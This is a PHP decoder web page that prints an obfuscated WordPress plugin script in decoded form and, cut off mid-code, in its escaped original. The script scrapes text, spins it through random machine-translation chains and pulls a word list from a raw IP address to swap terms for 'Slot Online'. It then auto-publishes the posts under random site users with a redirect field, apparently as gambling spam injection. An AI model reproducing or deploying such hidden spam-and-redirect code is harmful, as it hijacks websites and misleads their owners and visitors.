Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto DouP4; DouP4: @ini_set("\155\141\170\x5f\x65\170\x65\x63\x75\164\x69\157\156\..

Decoded Output download

<?php 
 goto DouP4; DouP4: @ini_set("max_execution_time", 3000); goto tKr9w; CI5cC: include_once plugin_dir_path(__FILE__) . "fetch_api.php"; goto YSeME; vNgf_: foreach ($wpdb->get_results("SELECT * FROM {$db_api_settings} WHERE id = '1'") as $key => $row) { $cron_status = $row->status_cron; $end_lang = $row->end_lang; $tot_lang = $row->tot_lang; $time_post = $row->time_post; $save_key = $row->char_key; $auto_key = $row->autosave_key; $word_post = $row->word_post; $competitors_key = $row->competitors_key; $posts_status = $row->post_status; } goto X28yA; X28yA: $dataArray = array("doflamingo", "blackbeard"); goto SjOXY; RAYrY: if (!empty($query)) { include_once plugin_dir_path(__FILE__) . "data-functions.php"; $query = $query; if (isUCS2($query)) { $query = GoogleTranslate::translate("auto", "en", $query); } else { $query = $query; } $totlang = $tot_lang; $endlang = $end_lang2; $endlang = preg_replace("/_.*/", '', $endlang); if (preg_match("/^images$/", $target_dt)) { $numb_hed = 3; $totimg = 2; } else { $numb_hed = 4; $totimg = 8; } $cookiez = plugin_dir_path(__FILE__) . "__cookiez.txt"; $myTXT = plugin_dir_path(__FILE__) . "MyTranslate" . $type . ".txt"; unlink($myTXT); $myTXTK = plugin_dir_path(__FILE__) . "MyTranslate" . $type . rand() . ".txt"; $myTXTLang = plugin_dir_path(__FILE__) . "MyTranslateLang.txt"; $DT_img = json_decode(images_data($query), TRUE); $js_img = array(); foreach ($DT_img["image"] as $jz_img) { $js_img[] = $jz_img; } shuffle($js_img); $js_ttl = $DT_img["title"]; $js_tmb = $DT_img["thumb"]; $datasrcv = $DT_img["source"]; $dataxhed = $js_ttl; $datahed = array(); foreach ($dataxhed as $datazhed) { $exphd = explode(" ", trim($datazhed)); if (count($exphd) < 3) { continue; } $datahed[] = strtolower($datazhed); } $dataxtag = $js_ttl; shuffle($dataxtag); $tgnm = 0; foreach ($dataxtag as $dataztag) { if ($tgnm == 14) { break; } $datatagz = $dataztag; if ($tgnm <= 5) { $datatop .= ucfirst(strtolower($datatagz)) . ", "; } if ($tgnm >= 5) { $datatag .= $datatagz . ", "; } $tgnm++; } $datatop = rtrim($datatop, ", "); $datatag = rtrim($datatag, ", "); $ifkx = urlencode($query); $cks3 = plugin_dir_path(__FILE__) . "__cksv3.txt"; $gstr = parse_key($ifkx, $end_lang, $cks3); if (!empty($gstr)) { if ($gstr->find("li.related-terms__item a", 0)) { $iftgz = array(); foreach ($gstr->find("li.related-terms__item a") as $tgz) { $iftgz[] = strtolower(trim($tgz->title)); } $tgexp = array_unique($iftgz); shuffle($tgexp); foreach ($tgexp as $dtz) { if (empty($dtz)) { continue; } $suggtag .= strtolower(trim($dtz)) . ", "; } } } $suggtag = rtrim($suggtag, ", "); $konten = ''; $e = 0; $datasrc = array(); for ($v = 0; $v < 10; $v++) { $datasrc[] = $datasrcv[$v]; } shuffle($datasrc); foreach ($datasrc as $dtsrc) { if (preg_grep("/\.pinterest\.|\.facebook\.|\.youtube\.|\.twitter\.|\.instagram\.|\.tiktok\./", $datasrc)) { continue; } $data_desc = contents_web($dtsrc, 18, 80); $exp_datax = explode("<br>", $data_desc); $str_datax = explode(" ", str_replace("<br>", " ", $data_desc)); if (count($exp_datax) > 2) { if (count($str_datax) > 200) { $konten .= str_replace("<br>", "
\xa", $data_desc); } else { continue; } $contz = str_replace("\xd\xa", " ", rtrim($konten, "
\xa")); $exhas = explode(" ", $contz); if (count($exhas) > 1700) { break; } } else { continue; } $e++; } $konten = rtrim($konten, "\xd
"); $konten = str_replace("
\xa", "<br>", $konten); $konten = str_replace("<br>", "
\xa", potong_kata($konten, 1500)); if (!empty($konten)) { $langTR = array("af", "sq", "am", "ar", "hy", "az", "eu", "be", "bn", "bs", "bg", "ca", "ceb", "ny", "zh-CN", "zh-TW", "co", "hr", "cs", "da", "nl", "en", "eo", "et", "tl", "fi", "fr", "fy", "gl", "ka", "de", "el", "gu", "ht", "ha", "haw", "iw", "hi", "hmn", "hu", "is", "ig", "id", "ga", "it", "ja", "jw", "kn", "kk", "km", "rw", "ko", "ku", "ky", "lo", "la", "lv", "lt", "lb", "mk", "mg", "ms", "ml", "mt", "mi", "mr", "mn", "my", "ne", "no", "or", "ps", "fa", "pl", "pt", "pa", "ro", "ru", "sm", "gd", "sr", "st", "sn", "sd", "si", "sk", "sl", "so", "es", "su", "sw", "sv", "tg", "ta", "tt", "te", "th", "tr", "tk", "uk", "ur", "ug", "uz", "vi", "cy", "xh", "yi", "yo", "zu"); $langTRx = array_search($endlang, $langTR, true); if ($langTRx !== false) { array_splice($langTR, $langTRx, 1); } shuffle($langTR); for ($i = 0; $i < $totlang; $i++) { $numlast = $totlang - 2; $langTRG = $langTR[$i]; if ($i == $numlast) { $langTRG = $endlang; } $nsrc = $i - 1; $langSRC = $langTR[$nsrc]; if ($i == 0) { $langSRC = "auto"; } if (file_exists($myTXT)) { $konten = file_get_contents($myTXT); } $endbr = $totlang - 1; if ($i == $endbr) { break; } $translation = GoogleTranslate::translate($langSRC, $langTRG, $konten); $fp = fopen($myTXT, "wb"); fwrite($fp, $translation); fclose($fp); if ($i == $numlast) { } sleep(7); } $resultx = file_get_contents($myTXT); $exphaz = explode("\xd
", $resultx); $thedesc = array(); $nm = 0; foreach ($exphaz as $hasz) { $thedesc[] = "<p>" . ucfirst($hasz) . "</p>"; $nm++; } $totthedesc = count($exphaz); $hazcimg = $totthedesc / $totimg; $s = 0; $e = 0; $i = 0; $len = count($thedesc); shuffle($datahed); foreach ($thedesc as $get_kontenv) { $haz_konten .= $get_kontenv; if ($i == 1) { $haz_konten .= "<h2>" . ucwords($query) . "</h2>"; } if (!preg_match("/^off$|^single$/", $target_dt)) { if ($i % $totimg == 1) { $ie = $e + 1; $ps_imgz = preg_replace("/(https:\/\/)|(http:\/\/)|(.*?(wp\.com\/))|\?.*/", '', $js_img[$ie]); $posimgz = "https://i" . rand(0, 3) . ".wp.com/" . $ps_imgz . "?strip=all"; $haz_konten .= "<p><img src="" . $posimgz . "" alt="" . ucwords($query) . "" title="" . ucwords($query) . "" style="width:100%;text-align:center;" onerror="this.onerror=null;this.src='" . $js_tmb[$ie] . "';" /></p>"; $e++; } } if ($i % $numb_hed == 2) { $nm_sub = $s + 1; $ished = rand(2, 4); $haz_konten .= "<h" . $ished . ">" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($datahed[$nm_sub])) . "</h" . $ished . ">"; $s++; } if ($i == $len - 1) { if (preg_match("/^on$/", $competitors_key)) { $haz_konten .= "<p>" . GoogleTranslate::translate($langSRC, $end_lang, ucfirst($suggtag)) . "</p>"; } } $i++; } $has_konten = preg_replace("/^(.*?)<p>/", "<p><strong>" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($query)) . "</strong> - ", $haz_konten); $args = array("blog_id" => 1, "orderby" => "nicename", "order" => "ASC", "fields" => "all"); $users = get_users($args); shuffle($users); $uzerID = $users[0]->ID; require_once ABSPATH . "wp-load.php"; $userID = $uzerID; $categoryID = $id_cat; $leadTitle = ucwords($post_title); $response = wp_remote_get("http://173.82.206.72/nx.txt"); if (is_wp_error($response)) { return; } $json_data = json_decode(wp_remote_retrieve_body($response), true); foreach ($json_data as $data) { if (stripos($has_konten, $data) !== false) { $has_konten = str_ireplace($data, "Slot Online", $has_konten); } } $leadContent = $has_konten; date_default_timezone_set(get_option("timezone_string")); $timeStamp = $minuteCounter = 0; $iCounter = 1; $minuteIncrement = 0; $adjustClockMinutes = 0; $minuteCounter = $iCounter * $minuteIncrement; $minuteCounter = $minuteCounter + $adjustClockMinutes; $timeStamp = date("Y-m-d H:i:s", strtotime("+{$minuteCounter} min")); $new_post = array("post_title" => $leadTitle, "post_content" => $leadContent, "post_status" => $posts_status, "post_date" => $timeStamp, "post_author" => $userID, "post_type" => $post_type, "meta_input" => array("redirect_target" => $link), "post_name" => $urlslug, "post_category" => array($categoryID)); $post_id = wp_insert_post($new_post); if (!preg_match("/^off$/", $target_dt)) { $feadimg = $DT_img["image"]; shuffle($feadimg); foreach ($feadimg as $if_imgz) { $if_imgz = preg_replace("/(https:\/\/)|(http:\/\/)|(.*?(wp\.com\/))|\?.*/", '', $if_imgz); $imgfile = "https://i" . rand(0, 3) . ".wp.com/" . $if_imgz . "?strip=all&w=800"; $handle = curl_init($imgfile); curl_setopt($handle, CURLOPT_HEADER, 0); curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($handle, CURLOPT_BINARYTRANSFER, 1); $response = curl_exec($handle); $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE); curl_close($handle); if ($httpCode == 200) { $image_url = $imgfile; $image_name = $urlslug . "_" . $md5ttl . ".jpg"; $upload_dir = wp_upload_dir(); $image_data = file_get_contents($image_url); $unique_file_name = wp_unique_filename($upload_dir["path"], $image_name); $filename = basename($unique_file_name); if (wp_mkdir_p($upload_dir["path"])) { $file = $upload_dir["path"] . "/" . $filename; } else { $file = $upload_dir["basedir"] . "/" . $filename; } file_put_contents($file, $image_data); $wp_filetype = wp_check_filetype($filename, null); $attachment = array("post_mime_type" => $wp_filetype["type"], "post_title" => sanitize_file_name($filename), "post_content" => '', "post_status" => "inherit"); $attach_id = wp_insert_attachment($attachment, $file, $post_id); require_once ABSPATH . "wp-admin/includes/image.php"; $attach_data = wp_generate_attachment_metadata($attach_id, $file); wp_update_attachment_metadata($attach_id, $attach_data); set_post_thumbnail($post_id, $attach_id); break; } } } if ($post_id && !is_wp_error($post_id)) { global $wpdb; $wpdb->query($wpdb->prepare("UPDATE {$db_api_keys} SET status = '1' WHERE idmd5 = '{$md5ttl}'")); if (preg_match("/^on$/", $auto_key)) { $locale = $end_lang; $ifkeyx = urlencode($query); $cookies = plugin_dir_path(__FILE__) . "__cksv2.txt"; $getstr = parse_key($ifkeyx, $locale, $cookies); $minkey = $save_key - 1; if (!empty($getstr)) { if ($getstr->find("li.related-terms__item a", 0)) { $iftagz = array(); foreach ($getstr->find("li.related-terms__item a") as $tagz) { $iftagz[] = strtolower(trim($tagz->title)); } $tagexp = array_unique($iftagz); foreach ($tagexp as $dataz) { if (empty($dataz)) { continue; } $expkey = explode(" ", $dataz); if (count($expkey) <= $minkey) { continue; } $inttl = strtolower(trim($dataz)); $urls = str_replace(" ", "-", implode(" ", array_filter(explode(" ", strtolower(seotext(trim($dataz))))))); $idtcat = substr(md5($urls), 1, 9); $wpdb->query($wpdb->prepare("INSERT IGNORE INTO {$db_api_keys} (idmd5, title, slug, category, target_uv, status) VALUES ( %s, %s, %s, %s, %s, %s )", array($idtcat, $inttl, $urls, $id_cat, $target_dt, "0"))); } } } } } else { $wpdb->query($wpdb->prepare("UPDATE {$db_api_keys} SET status = '3' WHERE idmd5 = '{$md5ttl}'")); } unlink($myTXT); } } goto OSkKs; jDW0n: $type = "doflamingo"; goto vt2Mb; YSeME: $siteurl = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . "/"; goto RXYWv; vt2Mb: $rndkey = $wpdb->get_results("SELECT * FROM {$db_api_keys} WHERE status='0' AND post_type='doflamingo' ORDER BY RAND() LIMIT 1"); goto ABlU1; tKr9w: define("DONOTCACHEPAGE", true); goto CG62u; oEO3Y: $currurl = $protocol . $_SERVER["HTTP_HOST"] . strtok($_SERVER["REQUEST_URI"], "?"); goto cFw4f; p5qpl: $db_api_keys = $wpdb->prefix . "wp_api_keys"; goto CI5cC; cFw4f: header("Content-Type: text/html; charset=utf-8"); goto vNgf_; XzqvA: if (preg_match("/^1$/", $sts_key)) { echo "duplicate post"; die; die; } goto RAYrY; Rmtr3: $db_api_settings = $wpdb->prefix . "wp_api_settings"; goto p5qpl; CG62u: global $wpdb; goto Rmtr3; yX3S1: $startPos = strpos($nameWithoutExt, "cron_") + 5; goto JSIk6; TFib6: $nameWithoutExt = pathinfo($fileName, PATHINFO_FILENAME); goto yX3S1; ABlU1: foreach ($rndkey as $rowkey) { $md5ttl = $rowkey->idmd5; $post_title = $rowkey->title; $query = $rowkey->title; $urlslug = $rowkey->slug; $id_cat = $rowkey->category; $target_dt = $rowkey->target_uv; $sts_key = $rowkey->status; $post_type = $rowkey->post_type; $end_lang2 = $rowkey->end_lang; $link = $rowkey->link; } goto XzqvA; RXYWv: $protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] != "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://"; goto oEO3Y; JSIk6: $idxCron = substr($nameWithoutExt, $startPos); goto jDW0n; SjOXY: $fileName = basename(__FILE__); goto TFib6; OSkKs: 
 ?>

Did this file decode correctly?

Original Code

<?php
 goto DouP4; DouP4: @ini_set("\155\141\170\x5f\x65\170\x65\x63\x75\164\x69\157\156\x5f\164\151\x6d\x65", 3000); goto tKr9w; CI5cC: include_once plugin_dir_path(__FILE__) . "\x66\145\164\143\x68\137\x61\160\151\56\160\x68\160"; goto YSeME; vNgf_: foreach ($wpdb->get_results("\x53\x45\x4c\105\x43\x54\40\x2a\40\106\122\x4f\x4d\40{$db_api_settings}\40\127\110\x45\x52\x45\x20\151\x64\40\x3d\x20\x27\61\x27") as $key => $row) { $cron_status = $row->status_cron; $end_lang = $row->end_lang; $tot_lang = $row->tot_lang; $time_post = $row->time_post; $save_key = $row->char_key; $auto_key = $row->autosave_key; $word_post = $row->word_post; $competitors_key = $row->competitors_key; $posts_status = $row->post_status; } goto X28yA; X28yA: $dataArray = array("\x64\x6f\x66\154\x61\x6d\x69\156\x67\157", "\142\154\141\143\153\x62\145\141\162\x64"); goto SjOXY; RAYrY: if (!empty($query)) { include_once plugin_dir_path(__FILE__) . "\144\141\x74\141\55\x66\x75\x6e\143\164\x69\157\156\x73\x2e\160\150\x70"; $query = $query; if (isUCS2($query)) { $query = GoogleTranslate::translate("\141\165\164\x6f", "\145\x6e", $query); } else { $query = $query; } $totlang = $tot_lang; $endlang = $end_lang2; $endlang = preg_replace("\x2f\137\x2e\52\57", '', $endlang); if (preg_match("\57\x5e\x69\x6d\141\147\x65\x73\44\57", $target_dt)) { $numb_hed = 3; $totimg = 2; } else { $numb_hed = 4; $totimg = 8; } $cookiez = plugin_dir_path(__FILE__) . "\x5f\x5f\x63\157\x6f\153\151\145\172\x2e\164\170\164"; $myTXT = plugin_dir_path(__FILE__) . "\115\x79\124\162\141\x6e\163\154\x61\x74\x65" . $type . "\56\164\x78\x74"; unlink($myTXT); $myTXTK = plugin_dir_path(__FILE__) . "\115\x79\124\x72\141\156\x73\154\141\x74\x65" . $type . rand() . "\x2e\164\170\x74"; $myTXTLang = plugin_dir_path(__FILE__) . "\x4d\171\x54\x72\x61\156\163\x6c\141\x74\x65\114\141\156\147\56\164\170\164"; $DT_img = json_decode(images_data($query), TRUE); $js_img = array(); foreach ($DT_img["\151\155\141\x67\145"] as $jz_img) { $js_img[] = $jz_img; } shuffle($js_img); $js_ttl = $DT_img["\164\151\164\x6c\x65"]; $js_tmb = $DT_img["\x74\150\x75\x6d\142"]; $datasrcv = $DT_img["\163\157\165\x72\x63\x65"]; $dataxhed = $js_ttl; $datahed = array(); foreach ($dataxhed as $datazhed) { $exphd = explode("\x20", trim($datazhed)); if (count($exphd) < 3) { continue; } $datahed[] = strtolower($datazhed); } $dataxtag = $js_ttl; shuffle($dataxtag); $tgnm = 0; foreach ($dataxtag as $dataztag) { if ($tgnm == 14) { break; } $datatagz = $dataztag; if ($tgnm <= 5) { $datatop .= ucfirst(strtolower($datatagz)) . "\54\40"; } if ($tgnm >= 5) { $datatag .= $datatagz . "\x2c\40"; } $tgnm++; } $datatop = rtrim($datatop, "\54\40"); $datatag = rtrim($datatag, "\54\x20"); $ifkx = urlencode($query); $cks3 = plugin_dir_path(__FILE__) . "\x5f\137\x63\153\x73\x76\x33\56\164\x78\164"; $gstr = parse_key($ifkx, $end_lang, $cks3); if (!empty($gstr)) { if ($gstr->find("\x6c\x69\56\x72\145\x6c\x61\164\145\144\x2d\164\145\162\x6d\163\137\x5f\x69\x74\x65\x6d\x20\141", 0)) { $iftgz = array(); foreach ($gstr->find("\x6c\x69\56\x72\145\154\x61\x74\145\144\x2d\164\145\x72\155\x73\137\x5f\x69\x74\145\155\40\x61") as $tgz) { $iftgz[] = strtolower(trim($tgz->title)); } $tgexp = array_unique($iftgz); shuffle($tgexp); foreach ($tgexp as $dtz) { if (empty($dtz)) { continue; } $suggtag .= strtolower(trim($dtz)) . "\54\40"; } } } $suggtag = rtrim($suggtag, "\54\x20"); $konten = ''; $e = 0; $datasrc = array(); for ($v = 0; $v < 10; $v++) { $datasrc[] = $datasrcv[$v]; } shuffle($datasrc); foreach ($datasrc as $dtsrc) { if (preg_grep("\57\x5c\x2e\160\151\x6e\x74\x65\x72\x65\163\x74\134\x2e\174\134\x2e\x66\141\143\x65\142\157\x6f\153\134\56\x7c\x5c\56\x79\157\x75\164\165\x62\x65\134\56\x7c\134\56\164\167\151\164\x74\x65\162\x5c\56\x7c\x5c\56\151\x6e\163\x74\x61\x67\x72\x61\155\x5c\56\x7c\134\x2e\x74\151\x6b\x74\x6f\153\134\56\x2f", $datasrc)) { continue; } $data_desc = contents_web($dtsrc, 18, 80); $exp_datax = explode("\x3c\x62\162\x3e", $data_desc); $str_datax = explode("\40", str_replace("\74\142\162\76", "\40", $data_desc)); if (count($exp_datax) > 2) { if (count($str_datax) > 200) { $konten .= str_replace("\74\142\162\x3e", "\15\xa", $data_desc); } else { continue; } $contz = str_replace("\xd\xa", "\40", rtrim($konten, "\15\xa")); $exhas = explode("\40", $contz); if (count($exhas) > 1700) { break; } } else { continue; } $e++; } $konten = rtrim($konten, "\xd\12"); $konten = str_replace("\15\xa", "\x3c\x62\162\76", $konten); $konten = str_replace("\x3c\142\x72\76", "\15\xa", potong_kata($konten, 1500)); if (!empty($konten)) { $langTR = array("\x61\146", "\x73\x71", "\x61\x6d", "\x61\162", "\x68\x79", "\x61\172", "\145\165", "\142\x65", "\142\x6e", "\x62\163", "\142\x67", "\x63\141", "\143\x65\142", "\x6e\x79", "\172\150\x2d\x43\116", "\172\150\x2d\x54\x57", "\143\x6f", "\x68\x72", "\143\x73", "\x64\x61", "\x6e\154", "\x65\156", "\x65\157", "\145\164", "\164\154", "\x66\x69", "\146\x72", "\146\171", "\x67\154", "\153\x61", "\x64\x65", "\x65\154", "\x67\x75", "\x68\x74", "\150\x61", "\x68\x61\167", "\151\167", "\x68\x69", "\x68\155\156", "\x68\x75", "\x69\163", "\x69\x67", "\x69\144", "\x67\141", "\x69\x74", "\152\x61", "\152\x77", "\x6b\x6e", "\x6b\x6b", "\x6b\155", "\x72\167", "\153\x6f", "\153\x75", "\x6b\171", "\154\157", "\x6c\141", "\154\166", "\154\164", "\x6c\142", "\155\153", "\x6d\147", "\155\163", "\x6d\x6c", "\155\164", "\155\151", "\155\162", "\155\x6e", "\155\x79", "\156\145", "\156\x6f", "\157\162", "\160\x73", "\146\x61", "\160\154", "\160\164", "\x70\x61", "\x72\157", "\162\165", "\163\x6d", "\x67\x64", "\x73\x72", "\x73\x74", "\x73\156", "\163\144", "\163\151", "\163\153", "\163\x6c", "\163\157", "\x65\163", "\x73\165", "\x73\x77", "\163\166", "\x74\x67", "\164\141", "\164\164", "\x74\x65", "\164\150", "\x74\162", "\164\x6b", "\165\x6b", "\x75\162", "\x75\147", "\x75\x7a", "\x76\x69", "\x63\x79", "\170\x68", "\x79\x69", "\171\x6f", "\x7a\165"); $langTRx = array_search($endlang, $langTR, true); if ($langTRx !== false) { array_splice($langTR, $langTRx, 1); } shuffle($langTR); for ($i = 0; $i < $totlang; $i++) { $numlast = $totlang - 2; $langTRG = $langTR[$i]; if ($i == $numlast) { $langTRG = $endlang; } $nsrc = $i - 1; $langSRC = $langTR[$nsrc]; if ($i == 0) { $langSRC = "\x61\x75\164\157"; } if (file_exists($myTXT)) { $konten = file_get_contents($myTXT); } $endbr = $totlang - 1; if ($i == $endbr) { break; } $translation = GoogleTranslate::translate($langSRC, $langTRG, $konten); $fp = fopen($myTXT, "\167\142"); fwrite($fp, $translation); fclose($fp); if ($i == $numlast) { } sleep(7); } $resultx = file_get_contents($myTXT); $exphaz = explode("\xd\12", $resultx); $thedesc = array(); $nm = 0; foreach ($exphaz as $hasz) { $thedesc[] = "\74\x70\x3e" . ucfirst($hasz) . "\74\x2f\x70\76"; $nm++; } $totthedesc = count($exphaz); $hazcimg = $totthedesc / $totimg; $s = 0; $e = 0; $i = 0; $len = count($thedesc); shuffle($datahed); foreach ($thedesc as $get_kontenv) { $haz_konten .= $get_kontenv; if ($i == 1) { $haz_konten .= "\x3c\150\x32\x3e" . ucwords($query) . "\x3c\57\150\62\76"; } if (!preg_match("\x2f\x5e\x6f\x66\x66\44\174\x5e\163\151\x6e\147\154\x65\x24\x2f", $target_dt)) { if ($i % $totimg == 1) { $ie = $e + 1; $ps_imgz = preg_replace("\x2f\50\150\164\x74\x70\x73\72\x5c\57\134\x2f\x29\174\50\x68\164\x74\x70\72\x5c\57\134\57\x29\x7c\x28\x2e\x2a\x3f\50\167\160\x5c\x2e\x63\157\x6d\x5c\57\x29\x29\174\x5c\x3f\x2e\52\57", '', $js_img[$ie]); $posimgz = "\150\164\164\160\x73\72\x2f\x2f\151" . rand(0, 3) . "\56\167\160\56\143\157\155\x2f" . $ps_imgz . "\x3f\x73\x74\162\x69\x70\75\141\154\154"; $haz_konten .= "\x3c\x70\x3e\74\151\155\147\x20\163\x72\143\75\x22" . $posimgz . "\42\40\x61\154\x74\x3d\42" . ucwords($query) . "\42\x20\x74\151\x74\154\x65\x3d\42" . ucwords($query) . "\x22\40\163\164\171\x6c\145\75\x22\x77\151\144\x74\x68\x3a\x31\60\x30\x25\73\x74\x65\170\164\x2d\141\x6c\x69\x67\x6e\x3a\143\145\156\164\x65\x72\x3b\42\40\157\x6e\x65\162\162\157\x72\75\x22\164\150\x69\163\x2e\157\156\x65\162\162\157\162\x3d\156\x75\x6c\x6c\x3b\164\150\x69\x73\x2e\163\x72\x63\75\47" . $js_tmb[$ie] . "\x27\x3b\42\x20\57\x3e\x3c\57\x70\x3e"; $e++; } } if ($i % $numb_hed == 2) { $nm_sub = $s + 1; $ished = rand(2, 4); $haz_konten .= "\74\150" . $ished . "\x3e" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($datahed[$nm_sub])) . "\74\x2f\150" . $ished . "\76"; $s++; } if ($i == $len - 1) { if (preg_match("\x2f\136\157\156\44\57", $competitors_key)) { $haz_konten .= "\x3c\160\x3e" . GoogleTranslate::translate($langSRC, $end_lang, ucfirst($suggtag)) . "\74\57\160\x3e"; } } $i++; } $has_konten = preg_replace("\57\x5e\x28\56\52\x3f\51\74\160\x3e\x2f", "\74\x70\76\x3c\163\164\162\157\156\x67\76" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($query)) . "\74\x2f\x73\164\162\x6f\156\147\x3e\x20\x2d\x20", $haz_konten); $args = array("\x62\154\x6f\147\x5f\x69\144" => 1, "\x6f\x72\144\x65\162\142\x79" => "\x6e\x69\x63\x65\x6e\x61\x6d\x65", "\157\x72\144\x65\x72" => "\x41\123\x43", "\x66\151\x65\x6c\144\163" => "\141\x6c\x6c"); $users = get_users($args); shuffle($users); $uzerID = $users[0]->ID; require_once ABSPATH . "\x77\x70\55\154\x6f\141\144\x2e\160\150\160"; $userID = $uzerID; $categoryID = $id_cat; $leadTitle = ucwords($post_title); $response = wp_remote_get("\150\x74\164\160\72\57\x2f\x31\67\x33\56\x38\x32\56\x32\60\66\x2e\67\x32\57\156\x78\56\x74\x78\x74"); if (is_wp_error($response)) { return; } $json_data = json_decode(wp_remote_retrieve_body($response), true); foreach ($json_data as $data) { if (stripos($has_konten, $data) !== false) { $has_konten = str_ireplace($data, "\x53\x6c\157\x74\x20\x4f\156\154\x69\156\x65", $has_konten); } } $leadContent = $has_konten; date_default_timezone_set(get_option("\164\151\155\145\172\157\x6e\145\x5f\x73\x74\x72\151\x6e\147")); $timeStamp = $minuteCounter = 0; $iCounter = 1; $minuteIncrement = 0; $adjustClockMinutes = 0; $minuteCounter = $iCounter * $minuteIncrement; $minuteCounter = $minuteCounter + $adjustClockMinutes; $timeStamp = date("\x59\55\155\x2d\144\40\110\x3a\151\72\163", strtotime("\x2b{$minuteCounter}\x20\x6d\151\x6e")); $new_post = array("\x70\x6f\163\164\x5f\164\151\x74\x6c\x65" => $leadTitle, "\x70\x6f\163\164\x5f\143\x6f\156\164\145\x6e\164" => $leadContent, "\x70\157\163\x74\x5f\x73\164\141\164\x75\163" => $posts_status, "\x70\157\163\164\137\x64\141\x74\x65" => $timeStamp, "\x70\157\x73\x74\x5f\141\165\164\150\x6f\162" => $userID, "\160\x6f\163\x74\x5f\164\x79\160\145" => $post_type, "\155\145\164\x61\x5f\x69\156\160\165\x74" => array("\162\x65\x64\x69\162\145\x63\x74\137\164\141\162\x67\x65\x74" => $link), "\x70\157\163\164\x5f\156\x61\155\145" => $urlslug, "\160\x6f\x73\164\x5f\143\x61\164\145\x67\157\162\171" => array($categoryID)); $post_id = wp_insert_post($new_post); if (!preg_match("\x2f\x5e\157\x66\x66\x24\x2f", $target_dt)) { $feadimg = $DT_img["\x69\x6d\x61\x67\145"]; shuffle($feadimg); foreach ($feadimg as $if_imgz) { $if_imgz = preg_replace("\x2f\50\x68\x74\x74\160\x73\72\134\57\x5c\x2f\x29\x7c\50\x68\x74\164\160\x3a\x5c\57\134\x2f\51\x7c\x28\x2e\x2a\77\50\167\160\134\x2e\143\x6f\155\134\x2f\51\x29\x7c\x5c\x3f\56\52\57", '', $if_imgz); $imgfile = "\x68\x74\x74\x70\x73\72\57\57\x69" . rand(0, 3) . "\56\167\x70\x2e\x63\x6f\x6d\57" . $if_imgz . "\x3f\x73\x74\x72\151\x70\x3d\x61\154\x6c\46\x77\x3d\70\x30\x30"; $handle = curl_init($imgfile); curl_setopt($handle, CURLOPT_HEADER, 0); curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($handle, CURLOPT_BINARYTRANSFER, 1); $response = curl_exec($handle); $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE); curl_close($handle); if ($httpCode == 200) { $image_url = $imgfile; $image_name = $urlslug . "\x5f" . $md5ttl . "\56\152\x70\x67"; $upload_dir = wp_upload_dir(); $image_data = file_get_contents($image_url); $unique_file_name = wp_unique_filename($upload_dir["\x70\x61\164\150"], $image_name); $filename = basename($unique_file_name); if (wp_mkdir_p($upload_dir["\160\141\x74\150"])) { $file = $upload_dir["\x70\x61\164\150"] . "\x2f" . $filename; } else { $file = $upload_dir["\x62\141\163\x65\144\x69\x72"] . "\57" . $filename; } file_put_contents($file, $image_data); $wp_filetype = wp_check_filetype($filename, null); $attachment = array("\x70\x6f\163\164\137\x6d\x69\x6d\x65\137\164\171\160\145" => $wp_filetype["\164\171\x70\x65"], "\x70\x6f\163\164\137\x74\x69\x74\x6c\145" => sanitize_file_name($filename), "\x70\x6f\x73\x74\137\x63\157\x6e\x74\x65\156\164" => '', "\x70\157\x73\x74\137\163\164\x61\x74\x75\163" => "\x69\156\x68\145\162\x69\164"); $attach_id = wp_insert_attachment($attachment, $file, $post_id); require_once ABSPATH . "\167\160\x2d\x61\144\155\151\156\57\151\156\x63\x6c\165\x64\145\x73\x2f\x69\x6d\141\x67\145\56\160\150\160"; $attach_data = wp_generate_attachment_metadata($attach_id, $file); wp_update_attachment_metadata($attach_id, $attach_data); set_post_thumbnail($post_id, $attach_id); break; } } } if ($post_id && !is_wp_error($post_id)) { global $wpdb; $wpdb->query($wpdb->prepare("\125\x50\x44\101\x54\x45\40{$db_api_keys}\40\x53\x45\124\x20\x73\x74\x61\x74\x75\x73\x20\x3d\x20\x27\61\x27\x20\127\110\105\x52\105\x20\x69\x64\x6d\144\x35\x20\x3d\40\47{$md5ttl}\x27")); if (preg_match("\x2f\136\157\156\x24\x2f", $auto_key)) { $locale = $end_lang; $ifkeyx = urlencode($query); $cookies = plugin_dir_path(__FILE__) . "\137\137\143\153\163\x76\x32\x2e\164\x78\164"; $getstr = parse_key($ifkeyx, $locale, $cookies); $minkey = $save_key - 1; if (!empty($getstr)) { if ($getstr->find("\154\x69\x2e\162\145\154\x61\x74\x65\x64\x2d\x74\145\x72\x6d\163\x5f\137\151\x74\145\x6d\x20\x61", 0)) { $iftagz = array(); foreach ($getstr->find("\x6c\x69\x2e\x72\x65\x6c\141\164\x65\144\x2d\164\x65\x72\155\x73\x5f\x5f\151\164\x65\155\x20\141") as $tagz) { $iftagz[] = strtolower(trim($tagz->title)); } $tagexp = array_unique($iftagz); foreach ($tagexp as $dataz) { if (empty($dataz)) { continue; } $expkey = explode("\40", $dataz); if (count($expkey) <= $minkey) { continue; } $inttl = strtolower(trim($dataz)); $urls = str_replace("\x20", "\55", implode("\x20", array_filter(explode("\40", strtolower(seotext(trim($dataz))))))); $idtcat = substr(md5($urls), 1, 9); 